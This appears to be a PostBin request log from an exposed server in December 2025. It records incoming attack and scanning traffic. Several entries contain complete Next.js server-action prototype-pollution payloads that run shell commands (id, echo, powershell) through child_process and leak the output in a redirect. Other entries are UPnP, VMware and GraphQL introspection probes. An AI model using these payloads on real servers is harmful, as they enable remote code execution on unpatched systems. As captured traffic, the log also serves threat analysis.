PostBin

URLs & Hits

Total Hits	URL
3	/
1	/upnp/control/basicevent1
1	/postbin/overview
1	/sdk
1	/graphql
1	/api
1	/api/graphql
1	/graphql/api
1	/api/gql

Recent Post Requests

URL: /

TIMESTAMP

2025-12-05 06:21:06 +0000

HEADERS

VERSION: HTTP/1.1
HOST: 138.201.123.140:49155
USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
CONNECTION: close
NEXT_ACTION: x
X_NEXTJS_HTML_REQUEST_ID: hzlPoQHzYfXgTfKv02mRN
X_NEXTJS_REQUEST_ID: 1qmfc6yu
ACCEPT_ENCODING: gzip

BODY

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((43283*41015))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

TIMESTAMP

2025-12-05 06:21:07 +0000

HEADERS

VERSION: HTTP/1.1
HOST: 138.201.123.140:49155
USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
CONNECTION: close
NEXT_ACTION: x
X_NEXTJS_HTML_REQUEST_ID: hzlPoQHzYfXgTfKv02mRN
X_NEXTJS_REQUEST_ID: 1qmfc6yu
ACCEPT_ENCODING: gzip

BODY

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('powershell -c \"43283*41015\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

TIMESTAMP

2025-12-06 12:55:34 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 23.166.88.142
X_FORWARDED_FOR: 23.166.88.142
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
ACCEPT: text/x-component
ACCEPT_ENCODING: gzip, deflate
ACCEPT_LANGUAGE: en-US,en;q=0.9
CACHE_CONTROL: no-cache
NEXT_ACTION: x

BODY

------WebKitFormBoundary36TIIIhnBz1UKNTgziKNnrEo31B
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','id'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/login?a=${res.trim()};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary36TIIIhnBz1UKNTgziKNnrEo31B
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary36TIIIhnBz1UKNTgziKNnrEo31B
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundary36TIIIhnBz1UKNTgziKNnrEo31B--

URL: /upnp/control/basicevent1

TIMESTAMP

2025-12-09 00:20:51 +0000

HEADERS

VERSION: HTTP/1.1
SOAPACTION: "urn:Belkin:service:basicevent:1#GetBinaryState"

BODY

URL: /postbin/overview

TIMESTAMP

2025-12-10 04:59:28 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 3.138.34.184
X_FORWARDED_FOR: 3.138.34.184
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
ACCEPT_ENCODING: gzip, deflate
ACCEPT: */*
NEXT_ACTION: x
X_NEXTJS_REQUEST_ID: b5dce965
X_NEXTJS_HTML_REQUEST_ID: SSTMXm7OJ_g0Ncx6jpQt9

BODY

----------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}
----------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
----------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
----------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

URL: /sdk

TIMESTAMP

2025-12-10 05:17:37 +0000

HEADERS

VERSION: HTTP/1.1
CONNECTION: close
USER_AGENT: "Mozilla/5.0
HOST: 138.201.123.140:49155

BODY

00000001-00000001<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance

URL: /graphql

TIMESTAMP

2025-12-10 14:50:19 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 138.68.86.32
X_FORWARDED_FOR: 138.68.86.32
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (l9scan/2.0.034313e2332313e2130323e2833313; +https://leakix.net)
ACCEPT: application/json
ACCEPT_ENCODING: gzip

BODY

{"query":"query IntrospectionQuery{__schema{queryType{name} types{name}}}"}

URL: /api

TIMESTAMP

2025-12-10 14:50:20 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 138.68.86.32
X_FORWARDED_FOR: 138.68.86.32
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (l9scan/2.0.034313e2332313e2130323e2833313; +https://leakix.net)
ACCEPT: application/json
ACCEPT_ENCODING: gzip

BODY

{"query":"query IntrospectionQuery{__schema{queryType{name} types{name}}}"}

URL: /api/graphql

TIMESTAMP

2025-12-10 14:50:20 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 138.68.86.32
X_FORWARDED_FOR: 138.68.86.32
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (l9scan/2.0.034313e2332313e2130323e2833313; +https://leakix.net)
ACCEPT: application/json
ACCEPT_ENCODING: gzip

BODY

{"query":"query IntrospectionQuery{__schema{queryType{name} types{name}}}"}

URL: /graphql/api

TIMESTAMP

2025-12-10 14:50:21 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 138.68.86.32
X_FORWARDED_FOR: 138.68.86.32
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (l9scan/2.0.034313e2332313e2130323e2833313; +https://leakix.net)
ACCEPT: application/json
ACCEPT_ENCODING: gzip

BODY

{"query":"query IntrospectionQuery{__schema{queryType{name} types{name}}}"}

URL: /api/gql

TIMESTAMP

2025-12-10 14:50:21 +0000

HEADERS

VERSION: HTTP/1.0
HOST: postbin.rescue-digital.de
X_REAL_IP: 138.68.86.32
X_FORWARDED_FOR: 138.68.86.32
X_FORWARDED_PROTO: https
CONNECTION: close
USER_AGENT: Mozilla/5.0 (l9scan/2.0.034313e2332313e2130323e2833313; +https://leakix.net)
ACCEPT: application/json
ACCEPT_ENCODING: gzip

BODY

{"query":"query IntrospectionQuery{__schema{queryType{name} types{name}}}"}